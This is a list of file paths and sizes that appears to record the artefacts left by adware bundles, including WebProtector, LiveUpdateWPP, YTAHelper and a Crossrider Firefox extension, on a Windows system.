C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_07648352\Report.wer (239510 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupComponents.exe (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[2].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[3].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstB960.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstB960.tmp\System.dll (23 bytes)
%Program Files% (x86)\LiveWPPUpdate\LiveUpdateWPP_uninstaller.exe (1617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstB960.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\LiveWPPUpdate\LiveUpdateWPP.exe (11041 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE0CD.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[2].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE0CD.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE0CD.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtector\WebProtector_new.dll (12030 bytes)
%Program Files% (x86)\WebProtector\WebProtector.dll (3568 bytes)
%Program Files% (x86)\WebProtector\ToolbarData.ini (849 bytes)
%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe (1279 bytes)
%Program Files% (x86)\WebProtector\hotbtn.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssEA8D.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtector\btn.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstC9D4.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LTO1PZR7HOMKGRDWJ0KT.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DXVTWVYGTU5TILQAWMRQ.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S3BB6YIW00QBP8GXHJBX.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2E23.tmp\setup.exe (1606835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy2E03.tmp (155186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2E23.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2E23.tmp\setup1.exe (144456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2E23.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\9813[1].xpi (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\uinst.exe (18168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\ffwebex.xpi (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\webprotector_installer[1].exe (17968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\chrome (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ZipDLL.dll (3608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\webprotector_chrome[1] (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SetupWPP[1].exe (16240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC582.tmp (24004 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\nsProcess.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[4].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ein.exe (19778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\aints.exe (17874 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\LiveUpdateWPP_is[1].exe (16384 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[3] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\Observer.js (2 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB5.tmp (118586 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4cb92d74c380897ac0a963e699ed243f.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c1196a1791f56f2fb7bc7374115b9a92.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ab8b2387f0ec95da0958aaadeab1ecfb.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d60cdce86c1b1a1bb537047a9a69e7e0.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c1bda8ad2ce50b5cd82989fa9f31fd38.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\58904f97adf721298b270903df6cb520.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\cdad461fb239ed1516926d151c0041e3.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\15ea78dadf06b11df670d01a76104acc.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\da0e9a1a60085846382868c28a2efe50.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3eec12894edec0fa4cb6946bff4b3208.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c459a599eac470883b5c56c482342202.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\0038b46748135f573d9da9c7a22b459b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ea382151f62759c40d2962e71cf968b7.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\6a16e5862721a35efd4d1737efdb1fdb.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\60fb5a443fa32eefd0e57ef854f07b90.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\e5b77254d8cf8d5c85d8029e1075a83f.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5543c20a9fbd3f698416c6f5ff21b475.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4f4b7a2073cd9abd4459204186e7e616.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\81f3cb38e2ea18137c42a65d9a9b0d5b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\b005c0b6403b92e51ed0d2df87c46d8c.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2f3a4295e45000ff581428f5a392c997.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6f6ddae75f4dfd10484c1b1af5434ec0.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\a002d8e4aac391571673f89debb98981.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d3e1144f305cee36ae86fdc5da5ff240.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d4ac61be87d6070244cba9adfc15f5a6.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\38d5d7e2899caee8b1403fc49fc1f443.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b459364afc554976c061143dfe6247bc.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a109e0d3562bf58b1bc38e3f11a2d948.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\35ea50211f5f8185ca5f9f25b7b5ff05.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3151b95e2ccb9400ec07ed66f73f2a50.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\72b84d354e02a619356ba1e8bc381e84.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\326e8126e93f18fd5854b59851ee6a9a.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\030686ec26967057d00d1a486c91f70b.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f730ac4e4d6254ed026e2e4fb3d438e1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
